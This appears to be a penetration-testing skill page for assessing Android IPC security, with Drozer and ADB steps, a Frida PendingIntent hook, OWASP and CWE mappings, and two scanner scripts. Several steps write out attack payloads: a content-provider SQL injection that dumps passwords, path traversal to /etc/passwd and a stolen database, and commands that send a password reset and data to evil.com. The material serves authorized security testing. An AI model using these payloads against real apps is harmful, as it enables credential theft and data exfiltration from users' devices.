mobile security

Testing Android Intents for Vulnerabilities

Tests Android inter-process communication (IPC) through intents for vulnerabilities including intent injection, unauthorized component access, broadcast sniffing, pending intent hijacking, and content provider data leakage. Use when assessing Android app attack surface through exported components, testing intent-based data flows, or evaluating IPC security. Activates for requests involving Android intent security, IPC testing, exported component analysis, or Drozer assessment.

androidintentsipc-securitymobile-securityowasp-mobilepenetration-testing
Install this skill
npx skills add mukul975/Anthropic-Cybersecurity-Skills
Framework mappings

When to Use

Use this skill when:

  • Assessing Android app exported activities, services, receivers, and content providers
  • Testing for intent injection and unauthorized component invocation
  • Evaluating broadcast receiver security for sensitive data exposure
  • Performing IPC-focused penetration testing on Android applications

Do not use on production devices without explicit authorization.

Prerequisites

  • Rooted Android device or emulator with ADB
  • Drozer agent installed on target device (drozer agent.apk)
  • Drozer console on host (pip install drozer)
  • Target APK decompiled with apktool for AndroidManifest.xml analysis
  • Frida for runtime intent monitoring

Workflow

Step 1: Enumerate Exported Components

# Using Drozer
drozer console connect
run app.package.info -a com.target.app
run app.package.attacksurface com.target.app
 
# Output shows:
# X activities exported
# X broadcast receivers exported
# X content providers exported
# X services exported
 
# List exported activities
run app.activity.info -a com.target.app
 
# List exported services
run app.service.info -a com.target.app
 
# List exported receivers
run app.broadcast.info -a com.target.app
 
# List content providers
run app.provider.info -a com.target.app

Step 2: Test Exported Activities

# Launch exported activities directly
run app.activity.start --component com.target.app com.target.app.AdminActivity
 
# Launch with intent extras
run app.activity.start --component com.target.app com.target.app.ProfileActivity \
  --extra string user_id 1337
 
# Test intent injection via data URI
adb shell am start -a android.intent.action.VIEW \
  -d "content://com.target.app/users/admin" com.target.app
 
# If admin activity opens without auth, report as authorization bypass

Step 3: Test Broadcast Receivers

# Send broadcast to exported receivers
run app.broadcast.send --action com.target.app.PROCESS_PAYMENT \
  --extra string amount "0.01" --extra string recipient "attacker"
 
# Sniff broadcasts for sensitive data
run app.broadcast.sniff --action com.target.app.USER_LOGIN
 
# Via ADB
adb shell am broadcast -a com.target.app.RESET_PASSWORD \
  --es email "attacker@evil.com"

Step 4: Test Content Providers

# Query content providers for data leakage
run app.provider.query content://com.target.app.provider/users
run app.provider.query content://com.target.app.provider/users --projection "password"
 
# Test SQL injection in content providers
run app.provider.query content://com.target.app.provider/users \
  --selection "1=1) UNION SELECT username,password FROM users--"
 
# Test path traversal
run app.provider.read content://com.target.app.provider/../../etc/passwd
run app.provider.download content://com.target.app.provider/../databases/app.db /tmp/stolen.db
 
# Find injectable providers
run scanner.provider.injection -a com.target.app
run scanner.provider.traversal -a com.target.app

Step 5: Test Pending Intent Vulnerabilities

// Monitor PendingIntent creation via Frida
Java.perform(function() {
    var PendingIntent = Java.use("android.app.PendingIntent");
 
    PendingIntent.getActivity.overload("android.content.Context", "int",
        "android.content.Intent", "int").implementation =
        function(context, requestCode, intent, flags) {
            console.log("[PendingIntent] getActivity:");
            console.log("  Intent: " + intent.toString());
            console.log("  Flags: " + flags);
 
            // Check for FLAG_IMMUTABLE (secure) vs FLAG_MUTABLE (vulnerable)
            var FLAG_MUTABLE = 0x02000000;
            if ((flags & FLAG_MUTABLE) !== 0) {
                console.log("  [VULN] FLAG_MUTABLE - PendingIntent can be modified by receiver");
            }
            return this.getActivity(context, requestCode, intent, flags);
        };
});

Step 6: Test Service Binding

# Attempt to bind to exported services
run app.service.start --action com.target.app.SYNC_SERVICE \
  --extra string server "https://evil.com/data_sink"
 
run app.service.send com.target.app com.target.app.MessengerService \
  --msg 1 0 0 --extra string command "dump_database" --bundle-as-obj

Key Concepts

Term Definition
Exported Component Android component (activity/service/receiver/provider) accessible to other apps on the device
Intent Messaging object for requesting actions from other components; can be explicit (target specified) or implicit (action-based)
Pending Intent Token wrapping an intent for future execution by another app; mutable PendingIntents can be modified by recipients
Content Provider Component for structured data sharing between apps; SQL injection target if query parameters are not sanitized
Broadcast Receiver Component receiving system or app broadcasts; exported receivers can be triggered by any app

Tools & Systems

  • Drozer: Android security assessment framework for IPC testing with pre-built modules
  • ADB: Command-line tool for invoking intents, starting activities, and sending broadcasts
  • Frida: Runtime monitoring of intent handling and PendingIntent creation
  • apktool: APK decompilation for AndroidManifest.xml analysis of component export status
  • Intent Fuzzer: Automated tool for fuzzing intent parameters across exported components

Common Pitfalls

  • android:exported default changed in API 31: Components with intent filters default to exported=true below API 31 but exported=false at API 31+. Check targetSdkVersion.
  • Permission-protected components: An exported component may still require a permission. Test with and without the required permission.
  • Implicit intents vs explicit: Only implicit intents (action-based) are interceptable by other apps. Explicit intents (specifying target) are secure.
  • Custom permissions: Apps can define custom permissions with different protection levels (normal, dangerous, signature). Signature-level permissions are only grantable to apps signed with the same certificate.
Source materials

References and resources

Everything below is rendered for inspection. Script files are read-only and never run.

References 3

api-reference.md1.8 KB

API Reference: Testing Android Intents for Vulnerabilities

Drozer Modules

Module Description
app.package.attacksurface Enumerate exported components
app.activity.info List exported activities
app.service.info List exported services
app.broadcast.info List exported receivers
app.provider.info List content providers
app.provider.query Query content provider URI
scanner.provider.injection Test for SQL injection
scanner.provider.traversal Test for path traversal
app.broadcast.send Send broadcast intent
app.activity.start Start exported activity

ADB Intent Commands

Command Description
adb shell am start -n <pkg>/<activity> Start activity
adb shell am broadcast -a <action> Send broadcast
adb shell am startservice -n <pkg>/<svc> Start service
adb shell content query --uri <uri> Query provider
adb shell dumpsys package <pkg> Package info

Component Types

Type Risk Test
Exported Activity Auth bypass Direct launch without intent filters
Content Provider Data leakage, SQLi Query with modified URIs
Broadcast Receiver Action spoofing Send crafted broadcasts
Service Unauthorized actions Bind/start with extras
PendingIntent Hijacking Check FLAG_MUTABLE

Python Libraries

Library Version Purpose
subprocess stdlib Execute adb/drozer CLI
re stdlib Parse command output
json stdlib Report generation

References

standards.md1.0 KB

Standards Reference: Android Intent Vulnerabilities

OWASP Mobile Top 10 2024

ID Risk Intent Relevance
M4 Insufficient Input/Output Validation Intent parameter injection
M8 Security Misconfiguration Exported components without permission guards

OWASP MASVS v2.0 - MASVS-PLATFORM

Control Test
MASVS-PLATFORM-1 Verify exported components require appropriate permissions
MASVS-PLATFORM-2 Verify intent data is validated before processing

CWE Mappings

CWE Title Vector
CWE-926 Improper Export of Android Application Components Exported without permission
CWE-927 Use of Implicit Intent for Sensitive Communication Sensitive data in implicit intents
CWE-925 Improper Verification of Intent by Broadcast Receiver Missing sender verification
CWE-89 SQL Injection Content provider query injection
CWE-22 Path Traversal Content provider path traversal
workflows.md1.0 KB

Workflows: Android Intent Vulnerability Testing

Workflow 1: IPC Security Assessment

[Decompile APK] --> [Parse AndroidManifest] --> [Enumerate exported components]
                                                        |
                                     +------------------+------------------+
                                     |          |           |              |
                              [Activities] [Services]  [Receivers]  [Providers]
                              [Direct launch] [Bind/Start] [Trigger] [Query/Inject]
                              [Auth bypass?]  [Data exfil?] [Sniff?] [SQLi? Traversal?]
                                     |          |           |              |
                                     +------------------+------------------+
                                                        |
                                                 [PendingIntent audit]
                                                 [Report findings]

Scripts 2

agent.py6.7 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
"""Agent for testing Android intents for vulnerabilities.

Uses ADB and Drozer to enumerate exported components, test
intent injection, content provider SQL injection, broadcast
receiver abuse, and pending intent hijacking vulnerabilities.
"""

import json
import subprocess
import re
import sys
from pathlib import Path
from datetime import datetime


class AndroidIntentTestAgent:
    """Tests Android app IPC through intents for security flaws."""

    def __init__(self, package_name, output_dir="./android_intent_test"):
        self.package = package_name
        self.output_dir = Path(output_dir)
        self.output_dir.mkdir(parents=True, exist_ok=True)
        self.findings = []

    def _adb(self, args, timeout=15):
        cmd = ["adb", "shell"] + args
        try:
            result = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)
            return result.stdout.strip(), result.returncode
        except (FileNotFoundError, subprocess.TimeoutExpired):
            return "", -1

    def _drozer(self, module, args=""):
        cmd_str = f"run {module} -a {self.package} {args}".strip()
        cmd = ["drozer", "console", "connect", "-c", cmd_str]
        try:
            result = subprocess.run(cmd, capture_output=True, text=True, timeout=30)
            return result.stdout.strip()
        except (FileNotFoundError, subprocess.TimeoutExpired):
            return ""

    def enumerate_attack_surface(self):
        """Enumerate exported components via Drozer."""
        output = self._drozer("app.package.attacksurface")
        surface = {"activities": 0, "services": 0, "receivers": 0, "providers": 0}

        for m in re.finditer(r"(\d+)\s+(activities|broadcast receivers|content providers|services)\s+exported", output):
            count = int(m.group(1))
            comp_type = m.group(2)
            if "activities" in comp_type:
                surface["activities"] = count
            elif "services" in comp_type:
                surface["services"] = count
            elif "receivers" in comp_type:
                surface["receivers"] = count
            elif "providers" in comp_type:
                surface["providers"] = count

        total = sum(surface.values())
        if total > 0:
            self.findings.append({
                "severity": "info",
                "type": "Attack Surface",
                "detail": f"{total} exported components found",
                "breakdown": surface,
            })
        return surface

    def list_exported_activities(self):
        """List exported activities."""
        output = self._drozer("app.activity.info")
        activities = []
        for m in re.finditer(r"([\w.]+/[\w.$]+)", output):
            activities.append(m.group(1))
        return activities

    def test_activity_access(self, activity_name):
        """Test if an exported activity is accessible without auth."""
        output, rc = self._adb(["am", "start", "-n", f"{self.package}/{activity_name}"])
        accessible = "Error" not in output and rc == 0
        if accessible:
            self.findings.append({
                "severity": "high",
                "type": "Exported Activity Access",
                "detail": f"Activity {activity_name} accessible without authentication",
            })
        return {"activity": activity_name, "accessible": accessible, "output": output[:200]}

    def test_content_provider_query(self, uri):
        """Test content provider for data leakage."""
        output = self._drozer("app.provider.query", uri)
        has_data = bool(output) and "No results" not in output and "error" not in output.lower()
        if has_data:
            self.findings.append({
                "severity": "high",
                "type": "Content Provider Data Leakage",
                "detail": f"Data accessible via {uri}",
            })
        return {"uri": uri, "has_data": has_data, "preview": output[:300]}

    def test_sql_injection(self, uri):
        """Test content provider for SQL injection."""
        output = self._drozer("scanner.provider.injection")
        injectable = "Injectable" in output or "injection" in output.lower()
        if injectable:
            self.findings.append({
                "severity": "critical",
                "type": "Content Provider SQL Injection",
                "detail": f"SQL injection possible in {self.package}",
            })
        return {"package": self.package, "injectable": injectable}

    def test_path_traversal(self):
        """Test content providers for path traversal."""
        output = self._drozer("scanner.provider.traversal")
        vulnerable = "Vulnerable" in output or "traversal" in output.lower()
        if vulnerable:
            self.findings.append({
                "severity": "critical",
                "type": "Content Provider Path Traversal",
                "detail": f"Path traversal in {self.package}",
            })
        return {"vulnerable": vulnerable}

    def send_broadcast(self, action, extras=None):
        """Send broadcast to test exported receivers."""
        cmd = ["am", "broadcast", "-a", action, "-p", self.package]
        if extras:
            for key, val in extras.items():
                cmd.extend(["--es", key, val])
        output, rc = self._adb(cmd)
        return {"action": action, "result": output[:200], "returncode": rc}

    def check_debuggable(self):
        """Check if app is debuggable."""
        output, _ = self._adb(["run-as", self.package, "id"])
        debuggable = "uid=" in output
        if debuggable:
            self.findings.append({
                "severity": "high",
                "type": "Debuggable Application",
                "detail": f"{self.package} is debuggable",
            })
        return debuggable

    def generate_report(self):
        surface = self.enumerate_attack_surface()
        activities = self.list_exported_activities()
        self.check_debuggable()
        self.test_sql_injection("")
        self.test_path_traversal()

        report = {
            "report_date": datetime.utcnow().isoformat(),
            "package": self.package,
            "attack_surface": surface,
            "exported_activities": activities,
            "findings": self.findings,
            "total_findings": len(self.findings),
        }
        out = self.output_dir / "android_intent_report.json"
        with open(out, "w") as f:
            json.dump(report, f, indent=2)
        print(json.dumps(report, indent=2))
        return report


def main():
    if len(sys.argv) < 2:
        print("Usage: agent.py <package_name>")
        sys.exit(1)
    agent = AndroidIntentTestAgent(sys.argv[1])
    agent.generate_report()


if __name__ == "__main__":
    main()
process.py7.4 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
"""
Android Intent Vulnerability Scanner

Parses AndroidManifest.xml to identify exported components and generate
Drozer/ADB test commands for IPC security assessment.

Usage:
    python process.py --manifest AndroidManifest.xml [--package com.target.app] [--output report.json]
"""

import argparse
import json
import sys
import xml.etree.ElementTree as ET
from datetime import datetime
from pathlib import Path


def parse_manifest(manifest_path: str) -> dict:
    """Parse AndroidManifest.xml for exported components."""
    tree = ET.parse(manifest_path)
    root = tree.getroot()
    ns = {"android": "http://schemas.android.com/apk/res/android"}

    package = root.get("package", "unknown")
    target_sdk = ""
    for sdk in root.findall(".//uses-sdk"):
        target_sdk = sdk.get(f"{{{ns['android']}}}targetSdkVersion", "unknown")

    components = {"activities": [], "services": [], "receivers": [], "providers": []}

    for comp_type, tag in [("activities", "activity"), ("services", "service"),
                            ("receivers", "receiver"), ("providers", "provider")]:
        for elem in root.findall(f".//{tag}"):
            name = elem.get(f"{{{ns['android']}}}name", "")
            exported = elem.get(f"{{{ns['android']}}}exported", "")
            permission = elem.get(f"{{{ns['android']}}}permission", "")
            has_intent_filter = len(elem.findall("intent-filter")) > 0

            # Determine effective export status
            if exported == "true":
                is_exported = True
            elif exported == "false":
                is_exported = False
            else:
                is_exported = has_intent_filter  # Default: exported if has intent-filter (pre API 31)

            if is_exported:
                component = {
                    "name": name,
                    "exported": True,
                    "permission": permission,
                    "has_intent_filter": has_intent_filter,
                    "protected": bool(permission),
                }

                # Get intent filter actions
                actions = []
                for intent_filter in elem.findall("intent-filter"):
                    for action in intent_filter.findall("action"):
                        actions.append(action.get(f"{{{ns['android']}}}name", ""))
                component["actions"] = actions

                # Provider-specific attributes
                if tag == "provider":
                    component["authorities"] = elem.get(f"{{{ns['android']}}}authorities", "")
                    component["read_permission"] = elem.get(f"{{{ns['android']}}}readPermission", "")
                    component["write_permission"] = elem.get(f"{{{ns['android']}}}writePermission", "")

                components[comp_type].append(component)

    return {"package": package, "target_sdk": target_sdk, "components": components}


def generate_test_commands(parsed: dict) -> list:
    """Generate Drozer and ADB test commands."""
    commands = []
    pkg = parsed["package"]

    for activity in parsed["components"]["activities"]:
        commands.append({
            "component": activity["name"],
            "type": "activity",
            "tool": "drozer",
            "command": f'run app.activity.start --component {pkg} {activity["name"]}',
            "risk": "HIGH" if not activity["protected"] else "LOW",
        })

    for receiver in parsed["components"]["receivers"]:
        for action in receiver.get("actions", []):
            commands.append({
                "component": receiver["name"],
                "type": "receiver",
                "tool": "adb",
                "command": f'adb shell am broadcast -a {action} -n {pkg}/{receiver["name"]}',
                "risk": "HIGH" if not receiver["protected"] else "LOW",
            })

    for provider in parsed["components"]["providers"]:
        auth = provider.get("authorities", "")
        if auth:
            commands.append({
                "component": provider["name"],
                "type": "provider_query",
                "tool": "drozer",
                "command": f'run app.provider.query content://{auth}/',
                "risk": "CRITICAL" if not provider.get("read_permission") else "MEDIUM",
            })
            commands.append({
                "component": provider["name"],
                "type": "provider_injection",
                "tool": "drozer",
                "command": f'run scanner.provider.injection -a {pkg}',
                "risk": "CRITICAL",
            })

    return commands


def assess_findings(parsed: dict) -> list:
    """Assess security of exported components."""
    findings = []
    components = parsed["components"]

    for comp_type, items in components.items():
        for item in items:
            if not item.get("protected"):
                findings.append({
                    "component": item["name"],
                    "type": comp_type,
                    "issue": f"Exported {comp_type[:-1]} without permission protection",
                    "severity": "HIGH" if comp_type in ("providers", "receivers") else "MEDIUM",
                    "owasp_mobile": "M8",
                    "cwe": "CWE-926",
                })

    # Check for sensitive-looking unprotected components
    sensitive_keywords = ["admin", "debug", "internal", "settings", "config", "payment", "auth"]
    for comp_type, items in components.items():
        for item in items:
            name_lower = item["name"].lower()
            if any(kw in name_lower for kw in sensitive_keywords) and not item.get("protected"):
                findings.append({
                    "component": item["name"],
                    "type": comp_type,
                    "issue": f"Sensitive component '{item['name']}' exported without protection",
                    "severity": "CRITICAL",
                    "owasp_mobile": "M8",
                    "cwe": "CWE-926",
                })

    return findings


def main():
    parser = argparse.ArgumentParser(description="Android Intent Vulnerability Scanner")
    parser.add_argument("--manifest", required=True, help="AndroidManifest.xml path")
    parser.add_argument("--output", default="intent_scan.json", help="Output report")
    args = parser.parse_args()

    if not Path(args.manifest).exists():
        print(f"[-] Not found: {args.manifest}")
        sys.exit(1)

    parsed = parse_manifest(args.manifest)
    commands = generate_test_commands(parsed)
    findings = assess_findings(parsed)

    total_exported = sum(len(v) for v in parsed["components"].values())

    report = {
        "scan": {"manifest": args.manifest, "package": parsed["package"],
                 "target_sdk": parsed["target_sdk"], "date": datetime.now().isoformat()},
        "attack_surface": {
            "total_exported": total_exported,
            "activities": len(parsed["components"]["activities"]),
            "services": len(parsed["components"]["services"]),
            "receivers": len(parsed["components"]["receivers"]),
            "providers": len(parsed["components"]["providers"]),
        },
        "findings": findings,
        "test_commands": commands,
    }

    with open(args.output, "w") as f:
        json.dump(report, f, indent=2)

    print(f"[+] Package: {parsed['package']}")
    print(f"[+] Exported components: {total_exported}")
    print(f"[+] Findings: {len(findings)}")
    print(f"[+] Test commands generated: {len(commands)}")
    print(f"[+] Report saved: {args.output}")


if __name__ == "__main__":
    main()

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